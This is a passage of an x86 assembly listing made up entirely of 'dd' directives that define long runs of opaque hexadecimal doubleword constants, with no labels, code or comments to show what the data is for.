		dd 96856327h, 2FC596F8h, 8F2380h, 0E4931BC1h, 81E2487Ah
		dd 0E81A0B31h, 4754318h, 4FF36888h, 3D35C909h, 0B439000Ch
		dd 0EDD08397h, 5CAB6A24h, 2B3E1882h, 585E6065h,	703901B3h
		dd 0CEFEEEBAh, 0CD90207Fh, 849670C9h, 94906378h, 9CC58399h
		dd 312C6248h, 6C0CAC41h, 34AEB148h, 0F6994960h,	273F7F83h
		dd 2C10F17Dh, 8F41477Bh, 409BC830h, 0E8B4BAE0h,	800A215Eh
		dd 0A9388680h, 0F94D0Dh, 5F92CBF0h, 100BD25Eh, 58757A26h
		dd 44F0AAC2h, 0F62C2004h, 0DF730509h, 2650A072h, 0A09E50h
		dd 3258855Bh, 12D21B60h, 3AA8DE18h, 404A4819h, 29008051h
		dd 59944B09h, 90CC0Eh, 96255F04h, 396D74BBh, 98A34401h
		dd 26106695h, 0CECDACF1h, 0EC3000E3h, 44D918E0h, 123B7E01h
		dd 307D3A4Dh, 0E91321B5h, 23D0F18h, 8860E1C2h, 0BCC92716h
		dd 87A8B203h, 66FFA58h,	74DE0E88h, 793EA094h, 110B9AACh
		dd 8030C070h, 4980C19Bh, 4037071Ah, 0C627A9B5h,	9DAF69C4h
		dd 0C0397E80h, 746403F1h, 0CFA46ACDh, 0B76306F0h, 95BA21Ch
		dd 93D64F81h, 5080AE8Ch, 87A96946h, 6B609660h, 0B059EB88h
		dd 3353144Ch, 157A84E3h, 80B37893h, 8FBB9700h, 39365882h
		dd 423B6001h, 4F6ED219h, 2D95A040h, 8F400015h, 0E9BED7F2h
		dd 9A009014h, 0B8E5CE2Ah, 180EAF97h, 31586DFFh,	8E0BD579h
		dd 8EDAD2DCh, 8737D96h,	9821006Bh, 33F28EDDh, 0A554A477h
		dd 0D300C6D4h, 6243EFBCh, 0D2E57Bh, 2AB4D487h, 6F100C9Fh
		dd 40152B31h, 8801332h,	0BAC1DB59h, 46037B6Bh, 588D4E55h
		dd 95F900EEh, 424F07CEh, 0B9000F7Ah, 0B4C25997h, 0D85A8E5h
		dd 11273D8Bh, 24880148h, 224900ACh, 0C19086h, 0F65D4497h
		dd 0EC7BD8DDh, 0CC209660h, 53DE6D09h, 75C420FEh, 9004646Dh
		dd 0D8306E02h, 0D223DF8Eh, 506011C2h, 0FA0C8EBFh, 8CDC64C9h
		dd 0AE5E05B2h, 1CD6FDEh, 658FDFCh, 0CE88388h, 2F1BBD6h
		dd 557C7718h, 888CF032h, 0A6415498h, 81611AD5h,	155AD803h
		dd 0A41E3269h, 5855D100h, 0E030F9EAh, 0F5002CF8h, 698B1B6Eh
		dd 0A66313h, 483D7853h,	0FDAE4A9Ah, 103C48D4h, 9B18BB4Eh
		dd 0A03C7065h, 16A2480h, 808C1320h, 82DEE30Eh, 14508BA0h
		dd 78D4447Fh, 9168FE87h, 0A9AD08E8h, 3E68E23Ah,	0D8DC8A1Fh
		dd 0C3B408h, 5CD55C7h, 80C35D47h, 0E0647FC1h, 0C42880FCh
		dd 8043A760h, 0F6D8F760h, 3E0AC43Dh, 5B8A1951h,	38249668h
		dd 53EE1880h, 9AF398CEh, 4F00BC92h, 0C5BD5E7Dh,	0EBCBDE58h
		dd 940F2095h, 7B46B005h, 0FC5E32h, 0B18B354h, 43F8527h
		dd 69F039DAh, 0DE3C0790h, 188729DCh, 80701A38h,	1460C76Eh
		dd 4E61D018h, 9210E442h, 51091A50h, 8802A122h, 84009429h
		dd 71BBE586h, 5AEB2885h, 75B2249Ch, 0CBA440F0h,	0D6031E5h
		dd 54F3EE71h, 0F8706A1h, 98F5DBAh, 0CE211B60h, 2954FBh
		dd 9CCA2AC3h, 0C7B448CBh, 91A3B118h, 3931F781h,	0F900EE5Dh
		dd 54DF066h, 0F1E0344h,	8C282BDEh, 8EFDD412h, 13C34C08h
		dd 833042D9h, 9B009350h, 0DF0C522Ah, 0B42A3DE0h, 0ECB1C90h
		dd 0D000A057h, 0BB812537h, 98BD3877h, 409AE860h, 4428E076h
		dd 47091C83h, 101C8A12h, 80B1800Ch, 67142CDh, 110C18D4h
		dd 90406FE5h, 8A358DCh,	4D9FB581h, 0F2ADD8F5h, 9D16CF19h
		dd 21809C08h, 0ED4DA7D3h, 5D0385D5h, 56471A42h,	22DAA9E6h
		dd 0AC5C3C41h, 62D14503h, 5F704320h, 42477905h,	48080DF6h
		dd 0B0A594E2h, 0A7A42680h, 0F90094D2h, 0B8AB5EEBh, 98ACED78h
		dd 0A8C65061h, 8CA430DEh, 0B2AD8B31h, 29560F00h, 0E3F3B59Ch
		dd 269490F1h, 238280Dh,	0DE4087AAh, 0CCA40C4Bh,	0CFE20E94h
		dd 0C8202128h, 0DCFC6226h, 0D762FD44h, 0CAD2E782h, 65444C6Ch
		dd 8EDF1C9Ah, 0F0807AF6h, 0EEA69489h, 0D91EFFE0h, 4CE42CC4h
		dd 45576608h, 0A6BC60E3h, 0D6EDF84Dh, 0DA10AA31h, 93284DAEh
		dd 70449850h, 90A9F447h, 1EE84670h, 87C854FAh, 4122C417h
		dd 355502D1h, 41496860h, 279C3033h, 2A85CD40h, 90941240h
		dd 0DE172004h, 0C4EA68C8h, 87A1C1F8h, 21344827h, 55C0D389h
		dd 0B0BD129Eh, 830008BCh, 0C64ADD84h, 0C7214F32h, 0C435A212h
		dd 15C86C0Bh, 0FDD0B2C7h, 1410E7B9h, 9B8A6FA6h,	0A9B8B524h
		dd 20319308h, 0B78879F0h, 29CA3400h, 4D9EDAAAh,	18F6B5h
		dd 8F541913h, 3B2F0C9Ch, 0B8DC0F26h, 0A75805CBh, 4DB90D8h
		dd 0E944D418h, 2EB7327Dh, 7218E420h, 34040B75h,	0D9AC19AEh
		dd 847E9CC2h, 32438B90h, 5E8A2F17h, 0A9C17460h,	0AD8F80h
		dd 283F0DCBh, 488BD0E6h, 486CAA56h, 0DC7E2B84h,	0F67C8F05h
		dd 7E07960Eh, 3A515298h, 0E71A3748h, 0D126A339h, 11CAA900h
		dd 0C0D9A1BBh, 709B195Ah, 60F568B8h, 41D68258h,	8863B00Ah
		dd 0B242EFC0h, 89B865F0h, 0FBF4C189h, 368899F2h, 0BB109B70h
		dd 691FC179h, 0EE0985AAh, 0A968A089h, 49E654B0h, 6890504Dh
		dd 0A9BD2786h, 7A5D4600h, 96B67D20h, 0F1DE0001h, 5F791F4Ch
		dd 3A28EEFCh, 5345AC18h, 30ABD802h, 0D80818DFh,	647E0944h
		dd 0E8405EC2h, 0BB163E18h, 63090BA7h, 0A4069F66h, 8C0899EAh
		dd 3EC83EEh, 0D62244DEh, 0B9800CBDh, 717494C8h,	66754C02h
		dd 9A812C76h, 7FFC05A0h, 9AA5A061h, 0CDEF824h, 91FE4CFDh
		dd 0E78857C0h, 9C8A492Ah, 0CD12B10Ch, 467CE1A8h, 0A4795666h
		dd 34D120A0h, 0AC2F1602h, 1536AD5h, 72E79A1Ah, 85FB1850h
		dd 0F0584D58h, 9E780011h, 6D5AE0A9h, 1931300Dh,	0C6CCA0DFh
		dd 0D9108E12h, 62D30242h, 9679A904h, 159A50C0h,	0CA2C4EFAh
		dd 3560601Ah, 2C7E424Bh, 44E4BA34h, 60C41A8h, 5424BF3Bh
		dd 0D34101ADh, 0B36ECB99h, 8B418620h, 5C80A378h, 0A9A2084Fh
		dd 0DD0724A2h, 50588D01h, 17957474h, 49129254h,	0A804946Ch
		dd 60E74127h, 3C74791Ah, 5871CB8Bh, 0F1A79C06h,	9433CA45h
		dd 7B30A1A2h, 0CF701BFh, 8521D958h, 5F882072h, 89F8E65Ch
		dd 0F7242069h, 9674FDAh, 0C727A93Eh, 145D4020h,	6500D5E0h
		dd 0FEA6A40Bh, 1CDFD023h, 0E9C622E4h, 710708E4h, 56124502h
		dd 46A066EBh, 54F601E4h, 0B9F787A0h, 0FECD000Bh, 0A8184C54h
		dd 52020332h, 0A3D2F6DCh, 0C09C8DC2h, 1688507Dh, 1CD60C1Fh
		dd 3D8AAE3h, 1A0C4A40h,	0F0E92FEEh, 1A496C20h, 8903EA0h
		dd 0A1F460C4h, 0DD484816h, 0F64DA0C1h, 0A218A5D9h, 0A8D488h
		dd 0BACBC84Dh, 28B93437h, 9A62F900h, 5229C02h, 4834A95h
		dd 0E49B6418h, 6B405288h, 8B780BE5h, 0C890ACE4h, 0DA800A7Ah
		dd 0FB0C0061h, 1494C08Ch, 56011E1Dh, 0D7A7A046h, 70246D6Eh
		dd 2FA503A8h, 0BA458273h, 0B7F79DC8h, 0ABDF5700h, 85E04E9h
		dd 0D03B00F5h, 0D8535D4Eh, 0A863247Bh, 0CC0ACC70h, 5AB65880h
		dd 17CD801Bh, 30E4FC37h, 505C64E3h, 44A71C68h, 0C22038E5h
		dd 288000FBh, 614F3D5h,	20C3CCEFh, 8AA9200Eh, 23209EDDh
		dd 6E0CF8B1h, 1EC3D152h, 82961790h, 13AA67D9h, 9F505461h
		dd 0A8132590h, 18DCA060h, 0E14410D5h, 0E50FB07Dh, 33373A18h
		dd 40EDB983h, 0E80065EEh, 0FD77BA81h, 16CD3250h, 412D424Ch
		dd 30BCB40Ch, 3CDC20F7h, 1AC549C1h, 7822F1CAh, 11ECFC8Ah
		dd 30B07587h, 63EEF20h,	0B64039A9h, 0E0807055h,	1A14920Ah
		dd 1EF0157Eh, 9E44A69Dh, 0A8B3A0F8h, 0D0DC714Ah, 7E2C5856h
		dd 0D06278CEh, 502995C4h
		dd 428A3EE8h, 11780624h, 103012C7h, 41A98062h, 4EA2B98h
		dd 0ECB8C1E5h, 594F0091h, 4F057369h, 6E9C0ADEh,	0A09580E8h
		dd 0D0CB6A2Dh, 9A376725h, 11FC9DD8h, 850C811Bh,	0E07FF7CFh
		dd 6109B679h, 2380F02Bh, 3546DB4h, 0DA436279h, 70E8247Eh
		dd 0E5B02DD8h, 0A2001CE8h, 460C90B5h, 3A4114F4h, 9D30CB13h
		dd 8444D939h, 0E5581C9Ch, 5C422740h, 0AB067422h, 0BB00970Bh
		dd 71400C6h, 78362486h,	0C1EC60A4h, 0AC883C3Eh,	11C0F948h
		dd 900697A0h, 40CBE4DDh, 88E44350h, 7070B989h, 5927EC58h
		dd 214E2003h, 0D84120C8h, 0B0035CC6h, 8B0A65CAh, 0F6E1D8CEh
		dd 15D906B4h, 0D0FAFE3Ah, 0E7232343h, 0A354F901h, 68281F87h
		dd 5501D0B0h, 1C89BD00h, 0F9AA7034h, 8FBB0223h,	374A5F74h
		dd 0A691E8C1h, 80B5CB1h, 42941EB2h, 0ABEE08C1h,	0D2DC79F1h
		dd 0F48B2604h, 41C0B7C8h, 0E4EFDE79h, 82420328h, 0F03F31E1h
		dd 0DB6EF4D0h, 0BBD81C61h, 0EDE08185h, 38B8B112h, 4726AF20h
		dd 477E9055h, 1769F269h, 0FF209CA0h, 4B0916EAh,	277C2097h
		dd 0B30B5606h, 48B85B8h, 0A260DF60h, 95ECF44Dh,	0D6A8448Ch
		dd 0BB4DAA07h, 3220F50Ah, 50A62B0Dh, 0FA0EC8DAh, 12AF0B4Bh
		dd 0B083AAAEh, 0C3C7156Ah, 86931732h, 0E670F4DCh, 54F4048Ch
		dd 620787A2h, 0FCCF2014h, 0B302B554h, 7D371D68h, 83F4C01Ch
		dd 45AD4030h, 1FF21A10h, 8DCBA17h, 0E0A058E8h, 54DB9926h
		dd 6937C08h, 215E18CBh,	0EA240207h, 8BE17A3Ah, 0FC50DE90h
		dd 92C82759h, 84540E18h, 281A285h, 207A83EBh, 5D5064CFh
		dd 0AC9A4AC4h, 31D02730h, 248F2AC5h, 2E80297h, 7E824887h
		dd 22160840h, 368C470Ah, 0F70484B6h, 0B4F038D0h, 94282F7Bh
		dd 0B0B96420h, 40035F4Ch, 7E224456h, 38E1640Dh,	65FCC18Ah
		dd 8A47285h, 49B91CBEh,	206420E5h, 6472C360h, 7C5AEB0Dh
		dd 2308E7h, 6D3117A2h, 3B2E3ED0h, 0EB87292Dh, 2004EC03h
		dd 0ED82855Ah, 600F4426h, 2C9BD202h, 91D4E7A2h,	0A36450F9h
		dd 4044C44Ah, 241434AEh, 0CE5CE024h, 64F94DC7h,	209B62CDh
		dd 754DABD7h, 0A250770Fh, 36456299h, 0C852A4h, 9D33214Fh
		dd 464D67FDh, 0BDBFF500h, 2CDC193Bh, 0B7C000B3h, 140C879Fh
		dd 0F4A8BA27h, 0DE2A9102h, 0FF178010h, 0D447AE40h, 19ED54DBh
		dd 0AC81A644h, 0B000A939h, 0D8791A55h, 83D0A34Ch, 936E34CBh
		dd 0F64CC872h, 96DD0764h, 0C70D66DEh, 7BEE321Fh, 0D92524D0h
		dd 91F017FBh, 0D8DB80AAh, 96878344h, 4A4505D0h,	4B84A2D2h
		dd 4B473C44h, 88558CB4h, 14B8E704h, 1E279916h, 64463040h
		dd 0C07B93D2h, 2A5B4C39h, 654B6039h, 0EE941401h, 0B8ACCFAFh
		dd 7CC20B70h, 18DE2849h, 0F34D3BA1h, 0C0E09D29h, 0C04DA9D5h
		dd 0AAF0BDh, 0AE39FC12h, 7FE2A46h, 8BD2C0C2h, 2BC5884h
		dd 7F813F2Dh, 64849024h, 86544262h, 2CCCA4BEh, 350024A2h
		dd 0C2A5925Dh, 630464A7h, 0DC01D939h, 0CBBB880h, 0E8FB3506h
		dd 30989DC8h, 9C86E044h, 0C04656B0h, 22CC1C72h,	4FE8AE1Ah
		dd 3040706Bh, 12655242h, 88A43218h, 2826E385h, 2E508706h
		dd 0C616907Bh, 8C8063EEh, 0A1246DEh, 97B8F336h,	734CC1FCh
		dd 59C842DBh, 0D610A8D2h, 184CBDF7h, 7E529622h,	306522A0h
		dd 69890431h, 0AEFAB1A7h, 92BDBB01h, 0D8903D40h, 87048822h
		dd 555BC258h, 12DD8114h, 5C6DFD76h, 51095638h, 0A882D787h
		dd 0C52EB63h, 0AA4414A7h, 0B9FFD067h, 4A2646DFh, 0A1818CD6h
		dd 71824085h, 0FFF69080h, 0C30310F7h, 0E8095893h, 0AD882B9h
		dd 0E68C005Dh, 90C0E4EBh, 0EE80FAAFh, 80BCAA7Ah, 0FFE61A40h
		dd 0ACA380B8h, 696F11E3h, 54B99851h, 0AFDEC8h, 0B79775B6h
		dd 3B0F98DCh, 0FE0C3114h, 886188B0h, 0C3801D32h, 4F07E1D8h
		dd 3F6017E9h, 0F92B0011h, 0FCAED299h, 1A94D314h, 2A7B22ECh
		dd 508492A5h, 86D9FEh, 0D9E7E566h, 4E4D0FDEh, 16F47248h
		dd 3422B8D8h, 4584CA9h,	44D618DDh, 0C090B2D9h, 6418E60Ch
		dd 585CB0D0h, 142C0E44h, 5D14E9Ch, 0AF6746B0h, 252808D1h
		dd 4AB1DBFCh, 0A45C058Eh, 883CCECEh, 0D1AFC3A1h, 76A0B3EBh
		dd 910B7266h, 0A5E0C90h, 92634CA0h, 51F2B005h, 0E0082C2Ah
		dd 1F1603ACh, 7808F44Fh, 0F962336h, 0E382158Ch,	4C524A9Ah
		dd 12ECA750h, 8E8E220h,	94547B52h, 20A0DC95h, 0D2C05B0h
		dd 0E0E327D6h, 2A203844h, 4F60051h, 79B8504Dh, 8039938Dh
		dd 0C492AE54h, 5214CB89h, 0DF4532DCh, 0F448E670h, 502539A2h
		dd 71DC6247h, 189C7930h, 0A33F0032h, 4E8FE423h,	505C4688h
		dd 14820484h, 44A88006h, 19CB0C04h, 5A6CA036h, 0A36C9310h
		dd 0E41A4903h, 0F2E5F543h, 3061F22Ch, 4B289721h, 8F249E46h
		dd 0FD8620BFh, 29566Eh,	813AC9BAh, 57EDCD9Fh, 7F48900h
		dd 9AD9794Dh, 28E89865h, 2048B6F0h, 72092947h, 0C4AA40A3h
		dd 4A04F078h, 50C8419Fh, 9CA87Bh, 31268E5Bh, 0A7F8B7C5h
		dd 12A828C1h, 4E78F21h,	0C066320h, 98737619h, 1A4516B0h
		dd 9B5C90B2h, 0AF8337D8h, 4E94A037h, 609C48B9h,	0E7882087h
		dd 0E394C334h, 9D2CC010h, 980FB30h, 0CC80994Eh,	72FF04F7h
		dd 8484ED93h, 1C8441Ch,	8EDB306Eh, 0AAD225E2h, 9E8040C5h
		dd 663B8EE3h, 0D4AF0209h, 0F7366F4Eh, 0EC1F9740h, 7D74591Fh
		dd 1FFC289h, 0A07B88A4h, 2A38407Dh, 21F887CAh, 2B126085h
		dd 1A16F000h, 927A771h,	5550AFC1h, 0D0704053h, 48470293h
		dd 0EF86D378h, 251AE88Ah, 305DE8C0h, 87441CB0h,	40427845h
		dd 3902B1F3h, 265990CCh, 4D3048CAh, 0F4CAC03Fh,	0DF864405h
		dd 0E0BD7F01h, 26D92990h, 14004422h, 3B1697AFh,	4F006050h
		dd 0B1CB820h, 0E4A8A0h,	9ECC69C2h, 99413193h, 0E0F4F61Dh
		dd 4E00C8A5h, 67E21E3Fh, 4ED1DE40h, 2407363h, 521244DDh
		dd 9FA0EE65h, 2D1014CBh, 41320096h, 1A4834F9h, 813C9A72h
		dd 0EC5803A0h, 0E08E1FD9h, 6611E3D2h, 8EE19C00h, 0BC6AE027h
		dd 5610B913h, 24BC50Bh,	357BABCh, 31658F6Eh, 0D060FC60h
		dd 71DD8ED6h, 0CF1C91D2h, 58EDE20h, 0C4001502h,	0EA429E9Dh
		dd 2E31DAF7h, 1554E1A0h, 7C59CC9Ah, 0FB765BBCh,	0DB930612h
		dd 51601080h, 0E1194433h, 4DA41D8Ch, 38C596FAh,	0AC00D810h
		dd 0E5AE2E4Dh, 6AAB760h, 6F063A03h, 1E00D16Ah, 316224BCh
		dd 1FF6CD37h, 5C5F7C9Ah, 97E21FC0h, 0C8860F0h, 0B6418FEEh
		dd 1062B061h, 51516E1Bh, 0A2CA40CFh, 0C2099040h, 270631A6h
		dd 0EC709C10h, 188B6A85h, 0E3DDC8ADh, 0BA245051h, 10AF085Fh
		dd 80DEC304h, 7A3450E7h, 58822069h, 8134EA5Eh, 0C5319FCh
		dd 0D0ED60A5h, 1DF9EEC0h, 480894DFh, 866908E0h,	0B94C5500h
		dd 91E61444h, 1865D144h, 0DB20154h, 863F97EEh, 38C0FEBBh
		dd 5A02EB93h, 1A564CB0h, 29B4C0C5h, 58D98028h, 46A870F9h
		dd 10B8748Ah, 0E527C73h, 682F4B80h, 12011623h, 37DCFE39h
		dd 64B251FCh, 0A9EE596Eh, 0DFAE3AF0h, 1FCCE808h, 7064D9h
		dd 0A09A6325h, 810B23AFh, 1DCC095Ah, 80A911C4h,	47060D02h
		dd 4671C1C6h, 3017AA22h, 884A54A8h, 0E14760D3h,	189313C6h
		dd 0F11C2CBAh, 724244BEh, 0F8790929h, 76A08D00h, 0BE0245h
		dd 6AEC7798h, 3E570D04h, 27526B0Ch, 254541D9h, 78625A22h
		dd 0B711E0B7h, 7060D18Fh, 0CA2C132Dh, 26A26B58h, 4408E04Dh
		dd 12470397h, 0D82C0EA2h, 93116CA9h, 61490B12h,	0EAD694F8h
		dd 0C4ACF470h, 414020B6h
		dd 1E1C1E72h, 92B42F51h, 91021DEh, 432C4153h, 0C6E828C8h
		dd 4450E646h, 0D62AC455h, 1484F813h, 0A744F087h, 0AFE06963h
		dd 8CA8C326h, 35007751h, 9FCF4A23h, 4B42444Bh, 0A210092Eh
		dd 609C80CEh, 7A24656h,	0B94EDF1Eh, 0FC107917h,	2ED0A3EAh
		dd 8088648Bh, 394E44A5h, 0D6140E9Ah, 1074DDA7h,	0AE153F9Eh
		dd 249FB406h, 0DC30A58Ch, 6F405E38h, 0A3DE170Ch, 0C8D48EB7h
		dd 9B98C023h, 0B8B46F2Bh, 0CAEF1880h, 0ADC3558h, 0EA8E22E4h
		dd 0AFA10390h, 290C89A4h, 490932E8h, 0FD7206h, 10784696h
		dd 8CBA8529h, 38ADA40Eh, 0B8B8B50h, 20E0E4E2h, 0FCF9BEAFh
		dd 18D2E4EFh, 9EC8388Bh, 0C31241C0h, 422A094Bh,	0D81B8754h
		dd 0F4C9C6C2h, 24402C44h, 0DEC1A0AAh, 0D1F9D718h, 0E70D000Eh
		dd 932DED18h, 0BB1400BAh, 4085BF15h, 1091615Ah,	54D02713h
		dd 55DDBh, 1A2F1134h, 3AC42535h, 0AE7F6D1Fh, 83C37380h
		dd 9A28FE6h, 0FD7682D2h, 0CB3B7482h, 3E488500h,	0B5E8AB67h
		dd 1AF254F2h, 1775830h,	87110E0Dh, 8B63E6FAh, 516D3EB0h
		dd 809540E0h, 8CA23729h, 6E445867h, 0DF63D860h,	0C8A3A42Ah
		dd 260F3CF6h, 805E78F5h, 0FB89610Fh, 2B5800A4h,	77901AB3h
		dd 2A269AD9h, 86BB3846h, 5B6D8C44h, 0F8260059h,	1C230FF0h
		dd 0E64D42DDh, 859F0284h, 72D0908Bh, 4B092520h,	3F2CC018h
		dd 477C2096h, 1774F274h, 54D098A7h, 3509185h, 233E2ACFh
		dd 77BB5800h, 4ED0EAF1h, 1E422D46h, 0B2A9B485h,	3020F2F0h
		dd 0EB5827A5h, 0FF2F0F94h, 445661EDh, 7434D612h, 388B08A8h
		dd 0C036982h, 0A0CE8758h, 3044DE98h, 4320A9D4h,	74861942h
		dd 5A88F8DCh, 0C8E4CEC5h, 4F87C0C3h, 0D8D2C76Fh, 9E23B03Ah
		dd 232D5E00h, 0F63E1092h, 0C8485A38h, 9B27D2E8h, 0FC48059Ch
		dd 0E90F1CC1h, 0F62BA400h, 0AFFC8497h, 8912CB04h, 5CA3F03Ch
		dd 2D04D09Ah, 0C7F7EE0Fh, 940850C9h, 2028C5E5h,	88025B9h
		dd 0D4C0FE9Ch, 43D2DB8Eh, 0DC9780E2h, 2ED4F8Eh,	8647D8Fh
		dd 8480FE9Eh, 0B14E5B09h, 98B40E28h, 4A41050Ch,	5E47874h
		dd 7D46B0A8h, 0A0881A4h, 0D0F70071h, 49A89035h,	541340CAh
		dd 1280318Eh, 3E3025EEh, 90A5E831h, 0A03FA850h,	0B5BD0069h
		dd 893BCDA9h, 610954D1h, 0F81AA6D7h, 0A941C05Ch, 57E08A8Fh
		dd 0DBF5AF14h, 0A08813A4h, 1E46FC91h, 0F44C28BDh, 45BC804Bh
		dd 4C9CFA4Ah, 0B3CED000h, 21904F7h, 0DBDE5917h,	0C093A2E8h
		dd 98858FC8h, 30B28201h, 0EC4FD60Dh, 0E1E2E46Ch, 0F173220h
		dd 0C25D1808h, 8D5449D5h, 0ACD4384Ah, 0A6667400h, 5A074Bh
		dd 0B42B1DDFh, 0F3C87BBFh, 8CD59C24h, 0F8429A17h, 21C0279Fh
		dd 24024AC5h, 0A05A8698h, 4F098C01h, 3C325AF1h,	1AD2113h
		dd 0DBA099ACh, 0C7D45459h, 0D52AA738h, 9DE4C8E8h, 0E9F7000h
		dd 395D874Ch, 240C5E7Bh, 0B67085BCh, 5371E1B8h,	2DE105F4h
		dd 0C8C778D0h, 3F051BC2h, 5C051B08h, 0CD04DA75h, 25C9D365h
		dd 0B6B898F8h, 52031C8Ch, 6476CEBEh, 5A3229h, 77A83438h
		dd 518F41BFh, 3DC435F4h, 0E0043D20h, 0C06AB2A6h, 14F5DEF8h
		dd 0C8394126h, 2F4EB011h, 6B2388h, 9291B9AFh, 6556A1Ah
		dd 32218DACh, 2F3F99E7h, 1B236Ch, 2D3794E4h, 1404521Ah
		dd 2B8B3ECBh, 0C11B48C1h, 5E508500h, 8221F689h,	8F441A6h
		dd 0E8305BA6h, 441ACB0Fh, 790F544Fh, 906C6E7Dh,	0A430007Bh
		dd 9A3949F0h, 0C50DA90h, 98A28624h, 16443C67h, 7F1BCB60h
		dd 92FC498h, 2D086446h,	0AC645D0Ch, 7ABAA800h, 0AF7428E8h
		dd 0E75C16EFh, 0B2B4042Dh, 0C4C34420h, 9FC8B0B9h, 1554607h
		dd 87D0C099h, 1EE4A50h,	0FBE61284h, 39707071h, 0A1DC7E12h
		dd 2120F4E7h, 0EA882087h, 0CADDC16Eh, 4C543215h, 8F1C1630h
		dd 3FEE04D1h, 1187E074h, 95CEA60h, 62D32719h, 44946778h
		dd 5F960C2h, 9B5209BDh,	0B4909468h, 0AC90410Bh,	465E149Eh
		dd 0FB167061h, 94A004BBh, 0DCA04868h, 17E6916h,	3285610Ch
		dd 0F7434CBh, 4A86493Fh, 0A0781C44h, 504CB000h,	0ECE4330Bh
		dd 8B70B595h, 74C3A257h, 1368DED1h, 8040D527h, 9A6724CDh
		dd 49111C6Bh, 3ED7809Bh, 0CBEFF9DEh, 0CA258513h, 0B3C0A805h
		dd 0E80F491h, 5C1E2445h, 0C05FEE09h, 5A938DE8h,	97EC0898h
		dd 40201281h, 0FFF3998Eh, 303A79BDh, 0FDA6ABE4h, 9AF13D11h
		dd 2412AFE0h, 2481964Ah, 81ADBDEBh, 2CB6B4E1h, 0DE570EE8h
		dd 0D101F0F3h, 16F51D23h, 33B88BA8h, 69D4D1BCh,	0BF4910A7h
		dd 0C0F0BA8Bh, 0AFB1D007h, 3974B0F1h, 90883882h, 0DAD58DD0h
		dd 648F3848h, 0DD039688h, 5ABAE25h, 0C3191A18h,	0CF4820CBh
		dd 0BD171E23h, 1CB77691h, 0E068BBCAh, 3C3A23CAh, 204B722Bh
		dd 0B6388541h, 0C9A01211h, 0F0A888FFh, 80964595h, 7A22469Ch
		dd 1CEC01B5h, 0D050CD0Dh, 9955D493h, 0B511354h,	0D4465A84h
		dd 85CAD97h, 90E43808h,	4A9B1898h, 0A3445966h, 4688D55Dh
		dd 0A69E01FCh, 9CFE8842h, 0F1DBE01h, 0C994EC50h, 281831B0h
		dd 60A6FCCEh, 50C7CD2Bh, 0EFE60C05h, 0B8837C31h, 1ABC91ACh
		dd 0C32A97Fh, 0D1D2F4C4h, 2D54A488h, 4010CB85h,	0EB7CE84Ah
		dd 918417BFh, 0BAD8366h, 4E9CE012h, 5B3C1207h, 6EFC0073h
		dd 2244646Ah, 25EC065Dh, 0BD2460A9h, 74E05039h,	407CB4E8h
		dd 0A7D7A080h, 0B178B0B8h, 22333807h, 0FEB050BBh, 342FD446h
		dd 0E8817E0Fh, 8C15E83Ch, 0AD27A300h, 485032DBh, 0FC454C2Fh
		dd 487B4E11h, 96221000h, 8E2F5507h, 615D066h, 899FDC4Fh
		dd 0BE98851Ch, 5FE2C4E3h, 693530h, 9FD4BD36h, 33874BEEh
		dd 0BB4F58F6h, 44938888h, 480DCBDEh, 9952270Fh,	23242F6Eh
		dd 43A900B7h, 5A98AF50h, 859B770Fh, 0F2D6C97Ch,	76FD00C8h
		dd 2B27DAF5h, 0E63DD842h, 2FBABE46h, 0E418658Bh, 404660A7h
		dd 48E70B96h, 4C496FC6h, 90FC150Dh, 0DB02993Ah,	4AB25098h
		dd 958040DEh, 0F7CF52D8h, 45541EDAh, 43517A0h, 430ADD40h
		dd 1F89A43Ah, 0C10F1631h, 27B57969h, 409C4843h,	8851324h
		dd 4C515503h, 80311739h, 14680144h, 0CB76DAh, 0E55DF12h
		dd 0B9F78518h, 40E4F0BBh, 0BE2BDAE2h, 107906B0h, 0A9011447h
		dd 90ACF8A1h, 4D34519h,	8E548B0Bh, 0C0668810h, 0E31C9D4Fh
		dd 3FE7C601h, 0FD3B58D4h, 0F42CFACDh, 20109D7Dh, 0CF00F8D6h
		dd 0E918C9F4h, 4C11396Bh, 0CA00F89Ah, 235A3225h, 0D904E5B8h
		dd 0E9521A48h, 8154F880h, 0C827F789h, 0AFEEAC04h, 0B20880E7h
		dd 0C8A4BA44h, 0A088B94Fh, 10670091h, 0AE76A7DCh, 7A00C244h
		dd 3FA881ECh, 0FD9241Ch, 0C7CBAB6h, 12C9012h, 0EA008312h
		dd 17301391h, 570B4Ch, 51932DFAh, 0DF80993Bh, 24DA9500h
		dd 0E8DE0A3h, 401601A9h, 0ABD2F3A6h, 0FC047FC3h, 3865D0D7h
		dd 43030C1Ch, 0FC40A58Fh, 2B80D7D4h, 0BFE48B85h, 0FCDBD484h
		dd 42C2F8F4h, 0CAFB105Dh, 875E3988h, 0F8DA0820h, 0E494E5CBh
		dd 68DB609Eh, 0DF17581Ah, 9731DA00h, 2C1C9F93h,	57D0F806h
		dd 10C8F694h, 4F5ABBA4h, 73C68847h, 92CAE0E2h, 83041FA0h
		dd 0BEF513D3h, 0B4EF1F88h, 0CEEBA800h, 42AB0B3h, 0CAF50B7h
		dd 0B5E53ECBh, 0BF052C81h, 0D304EBEAh, 0CDB62FE0h, 30A63Ah
		dd 0F227A9BBh, 24C1B4h,	2EEEBCF0h, 1EB3BDF1h, 0EBA928C7h
		dd 0B7D661ACh, 0BDE3D82Fh, 0ABC3F4E9h, 0A6ADB5A0h, 0B0F02C00h
		dd 0CEF114EEh, 92C501E8h, 0B5EC0B4Fh, 86EBF179h, 0C805E309h
		dd 3C7AE860h, 9586FFCDh
		dd 0D1B60EE5h, 0A7B20919h, 29D0CC80h, 18A0D9FAh, 0C9A18AB5h
		dd 0F28308B7h, 0E02DBEB2h, 512FBCBAh, 808038AFh, 0B3AB92C6h
		dd 0A9E6051Dh, 79B62900h, 0C8BAEBFBh, 0D4C91F04h, 0ED2E47B1h
		dd 86389C92h, 0F9F0EE19h, 0BED80F40h, 0D12600ADh, 0C2EBE2AEh
		dd 2F00F379h, 1DDE568Ch, 60C7B8F1h, 0D8EE5809h,	0B2507EB5h
		dd 0BC02A980h, 0E394F52Ah, 0BD790CFFh, 4C1DA80h, 93CF1FA7h
		dd 0F1128EEh, 0AC2B2FEh, 0C591ADAFh, 0CC1AFBE2h, 593C3139h
		dd 580AB020h, 0E8C8B45Fh, 0A50B44ACh, 848796Fh,	0B192F957h
		dd 39D9F440h, 0C1FAF140h, 0B5DE1218h, 80DECADBh, 0EBFE10BCh
		dd 489BEC58h, 908125FCh, 0EA0936F7h, 1616D8E6h,	0E8F279C6h
